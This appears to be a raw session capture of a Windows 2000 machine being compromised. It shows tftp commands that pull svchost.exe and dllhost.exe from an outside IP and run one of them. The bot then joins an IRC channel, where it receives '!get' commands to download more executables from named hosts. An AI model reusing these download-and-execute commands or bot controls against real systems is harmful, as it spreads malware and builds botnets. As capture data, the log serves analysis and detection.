VICTIM:  	Microsoft Windows 2000 [Version 5.00.2195] 
VICTIM:  	(C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> 
VICTIM:  	dir wins\\dllhost.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\winsFile Not FoundC:\\WINNT\\system32> 
VICTIM:  	dir dllcache\\tftpd.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\dllcacheFile Not FoundC:\\WINNT\\system32> 
VICTIM:  	tftp -i 1.247.138.126 get svchost.exe wins\\SVCHOST.EXE 
VICTIM:  	\000\001svchost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	\000\004\000) 
VICTIM:  	\000\004\000* 
VICTIM:  	\000\004\000+ 
VICTIM:  	\000\004\000, 
VICTIM:  	\000\004\000- 
VICTIM:  	\000\004\000. 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\0000 
VICTIM:  	\000\004\0001 
VICTIM:  	\000\004\0002 
VICTIM:  	Transfer successful: 25360 bytes in 8 seconds, 3170 bytes/s 
VICTIM:  	C:\\WINNT\\system32> 
VICTIM:  	\000\001dllhost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	tftp -i 1.247.138.126 get dllhost.exe wins\\DLLHOST.EXE 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	Transfer successful: 15872 bytes in 5 seconds, 3174 bytes/s 
VICTIM:  	C:\\WINNT\\system32> 
VICTIM:  	wins\\DLLHOST.EXE 
VICTIM:  	NICK uyhvnrnqUSER f020500 . . :_ 
VICTIM:  	Service Pack 2JOIN &virtu 
ATTACKER:	:u. PRIVMSG uyhvnrnq :!get http:/188.247.135.95/555.exe:u. PRIVMSG uyhvnrnq :!get http:/ghyt54.com/pac33.txt:u. PRIVMSG uyhvnrnq :!get http:/ghyt54.com/temp/fast.exe 
VICTIM:  	GET /pac33.txt HTTP/1.0User-Agent: DownloadHost: ghyt54.comPragma: no-cache 
ATTACKER:	GET /temp/fast.exe HTTP/1.0User-Agent: DownloadHost: ghyt54.comPragma: no-cache 
ATTACKER:	PING :l. 
ATTACKER:	PONG :l. 
VICTIM:  	JOIN &virtu 
VICTIM:  	\002\000\000\000\341\020X\0204\031rY\213\276\220A\321w\367\200 
VICTIM:  	\245Q\014Q\037\031rY\202\276\220A\326w\367\200\233\276\220A\246\036\231\366\356\314\220D\321w\367\200\213\276\220\322\331w\367\202\213\276\220\245Q\014Q\001\031rY\202\276\220A\324w\367\200\227\276\220A\270\031\221\357\213\222\366\203\212E\177\004n\274\220A\321\035\226\347\276\207\220A\321w\365\200\213Boi\321\244^\034><\031rY 
VICTIM:  	\242]\0340(\031rY\203\276\220A\325w\367\200\354\333\344'\270\033\222\200\341\337\367A\244^\034><\031rY 
ATTACKER:	PING :l. 
ATTACKER:	PONG :l. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :l. 
ATTACKER:	PONG :l. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :l. 
ATTACKER:	PONG :l. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :l. 
ATTACKER:	PONG :l. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :l. 
ATTACKER:	PONG :l. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :l. 
ATTACKER:	PONG :l. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PONG :l. 
VICTIM:  	JOIN &virtu